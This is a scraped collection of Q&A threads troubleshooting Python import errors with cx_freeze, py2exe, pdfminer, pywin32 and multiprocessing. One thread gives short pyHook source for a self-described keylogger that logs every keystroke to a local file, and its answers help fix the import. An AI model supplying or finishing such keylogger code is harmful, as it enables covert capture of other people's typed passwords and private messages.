I'm using Python 3.3.5 with cx-freeze 4.3.3 on windows 8.1.
I'm trying to cx_freeze a program that uses pkg_resources.
I initially had it in my setup file under packages, but when I tried to freeze it the processes stopped with an error Import Error: No module named 'pkg_resources'.
I then moved it in the setup file from packages to includes. The cx_freeze process completed this time but when I tried to start the application I got another error message.
If I go to my IDE and try to import pkg_resources it works fine.
>>> import pkg_resources
>>> pkg_resources
<module 'pkg_resources' from 'C:\\Python33\\lib\\site-packages\\setuptools-18.0.1-py3.3.egg\\pkg_resources\\__init__.py'>
There's a similar question asked here, and the solution is to re-install setuptools. So I downloaded setuptools 18.0.1 and installed it via cmd, but it did not solve my problem and I'm still getting the same errors with cx_freeze.
Any help getting this to work would be greatly appreciated.
Edit: My solution (hack) has been to write the dependency out of yagmail. Yagmail's original _innit__.py...
from pkg_resources import get_distribution
__project__ = 'yagmail'
__version__ = get_distribution(__project__).version
I first put a print statement in there to get the version, and then hard coded it.
__project__ = 'yagmail'
__version__ = '0.4.84'
Though this has solved my problem it isn't really the answer, so will leave this open should someone have a solution that keeps pkg_resources.
Related
I installed iap_local_receipts on python3 after solving issues with M2crypto and openSSL, just to find out that python cannot resolve the import iap_pkcs7_verifier:
.../iap_receipt_verifier.py", line 1, in <module>
from iap_pkcs7_verifier import PKCS7Verifier
ImportError: No module named 'iap_pkcs7_verifier'
The repo is:
https://github.com/SilentCircle/iap-local-receipt
It has the missing source code for iap_pkcs7_verifier. How can I install directly from the repo?
Any other way to solve this issue?
Unfortunately, M2Crypto doesn't support Py3 yet, which means that this library can't yet run on Py3 :/
I’m new to Python and programming in general.
I am trying to install pdfMiner. I have Windows 7 with Python 2.7 installed.
I followed the instructions when installing (downloaded the PDFMiner source, unpacked it, and ran setup.py to install and it was installed in C:\pdfminer) – no errors.
It created:
build, build\lib,build\lib\pdfminer, then copied files to build\lib\pdfminer. It created build\scripts-2.7 and copied tools\pdf2txt.py, dymppdf.py to scripts, then wrote install-egg-info
and had no errors with install.
When I try running the test document from the command line:
C:\pdfminer\pdfminer-20140328> pdf2txt.py samples/simple1.pdf
I get:
File “C:\Python27\Scripts\pdf2txt.py”, line3, in <module> from pdfminer.pdfdocument import PDFDocument
ImportError: No module named pdfminer.pdfdocument
I saw this post:
pdfminer - ImportError: No module named pdfminer.pdfdocument
and tried following it (#1..put sys.path.append… into pdf2txt.py) and get the same error.
The system variables do include the path (pdfminer\pdfminer-20140328).
I’ve looked for other solutions but haven’t had much luck – the file is there but I can’t seem to get the program to look in the right area for it…I think.
Do I have the wrong path or is it installed in the wrong directory?
I've tried to create an exe file using py2exe. I've recently updated Python from 2.7.7 to 2.7.10 to be able to work with requests - proxies.
Before the update everything worked fine but now, the exe file recently created, raising this error:
Traceback (most recent call last):
File "puoka_2.py", line 1, in <module>
import mLib
File "mLib.pyc", line 4, in <module>
File "urllib2.pyc", line 94, in <module
File "httplib.pyc", line 71, in <module
File "socket.pyc", line 68, in <module>
ImportError: cannot import name RAND_egd
It could be probably repaired by changing options in setup.py file but I can't figure out what I have to write there. I've tried options = {'py2exe': {'packages': ['requests','urllib2']}}) but with no success.
It works as a Python script but not as an exe.
Do anybody knows what to do?
EDIT:
I've tried to put into setup.py file this import: from _ssl import RAND_egd
and it says that it can't be imported.
EDIT2: Setup.py:
from distutils.core import setup
import py2exe
# from _ssl import RAND_egd
setup(
console=['puoka_2.py'],
options = {'py2exe': {'packages': ['requests']}})
According to Google, it seems to be a very rare Error. I don't know exactly what is wrong but I found a workaround for that so if somebody experiences this problem, maybe this answer helps.
Go to socket.py file and search for RAND_egd. There is a block of code (67th line in my case):
from _ssl import SSLError as sslerror
from _ssl import \
RAND_add, \
RAND_status, \
SSL_ERROR_ZERO_RETURN, \
SSL_ERROR_WANT_READ, \
SSL_ERROR_WANT_WRITE, \
SSL_ERROR_WANT_X509_LOOKUP, \
SSL_ERROR_SYSCALL, \
SSL_ERROR_SSL, \
SSL_ERROR_WANT_CONNECT, \
SSL_ERROR_EOF, \
SSL_ERROR_INVALID_ERROR_CODE
try:
from _ssl import RAND_egd
except ImportError:
# LibreSSL does not provide RAND_egd
pass
Everything what you have to do is to comment the 5 lines:
#try:
#from _ssl import RAND_egd
#except ImportError:
## LibreSSL does not provide RAND_egd
#pass
I don't know why it raises the ImportError because there is a try - except block with pass so the error should not being raised but it helped me to successfully run the exe file.
EDIT: WARNING: I don't know whether it could cause some problems. I experienced no problems yet.
Experienced the same problem.
Solved the problem by removing directories 'dist' and 'build' created by py2exe when it was run on previous version of Python.
Seems like py2exe doesn't rebuild all the files every time. And obviously doesn't catch the fact of Python version changing.
Finally you have a mix of files generated with different versions of Python in your 'dist' directory.
My setup.py is pretty simple:
from distutils.core import setup import py2exe
setup(console=['xxxxxx.py'])
In my case problem was in two installations of Python27: x86 and x64. Only x86 version was in %PATH%, but pip installation script was using files from x64 installation for some reason. Solution was: remove x64, cause I don't really need it.
I found a way to solve it. This might be caused by old version of socket.pyc.
My solutions is edit socket.py, add a space to anywhere and delete then. And then run your setup.py again which will generate new socket.pyc.
Now the problem is solved.
I just remove socket.pyc under c:\Python27\lib, and run py2exe again. The error gone.
I have changed the python version from 2.7.12 to 2.7.9 and problem gone.
It will replace the python files but leave you packages as it is.
Good Luck.
I am working to make a small keylogger with Python, by using the pyHook, pythoncom and Pywin32 modules. Here is my code:
import pyHook, pythoncom, sys, logging
file_log = 'C:\\important\\log.txt'
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(Event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
When it runs, it returns this error message:
File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in <module>
import pywintypes
ImportError: No module named pywintypes
How do I fix this error?
pywintypes is part of the Python for Windows extensions, otherwise known as pywin32. You'll need to install that to get access to pywintypes.
Note that as of this writing, pywin32's maintainer doesn't upload files to PyPI, so you have to get an appropriate version of installer from http://pywin32.sf.net.
pip install pypiwin32 worked for me
For me it worked to copy the files (pythoncom38.dll and pywintypes38.dll) from:
C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\pywin32_system32
To the path:
C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\win32\lib
and
C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\win32
After installation of Visual Studio, I need sometimes to restart computer after copy the files.
I know my answer is bit late but just run to this problem. Both pywin32 and pypiwin32 is installed on my virtualenv, my app is working fine during test. When I run pyinstaller to build my exe, this error showed up.
Solution:
I needed to install (through pip) pywin32 and pypiwin32 on my base python env ( not the virtualenv) for pyinstaller to build my exe.
Just add pythoncom34.dll and pywintypes34.dll to your
C:\Python34\
I have had this error when trying to create a python service using pywin32 module.
I copied pythoncom38.dll and pywintypes38.dll into the root directory of the project and it solved the issue.
I typically import pywintypes or use a library that does. This import suddenly stopped working following update to Windows 11.
Using PIP I uninstalled pywin32, then reinstalled it (into my global python as above). This worked, I can do the import now. Just saying cause this is a simple step
I need to import the multiprocessing module in Python 2.5.
I've followed the instructions here exactly: http://code.google.com/p/python-multiprocessing/wiki/Install
make and make test run without errors. I've also edited $PYTHONPATH to include the directory where the package is installed.
But 'import multiprocessing' still says: "ImportError: no module named multiprocessing".
What am I doing wrong? Is there some step missing from these instructions? I haven't installed a Python module before.
Navigate to the directory containing the package then type:
python setup.py install
This info was contained in the INSTALL.txt file.
http://code.google.com/p/python-multiprocessing/source/browse/trunk/INSTALL.txt
perhaps you can try:
import sys
sys.path.append('/path/to/processingdotpylibs/')
import processing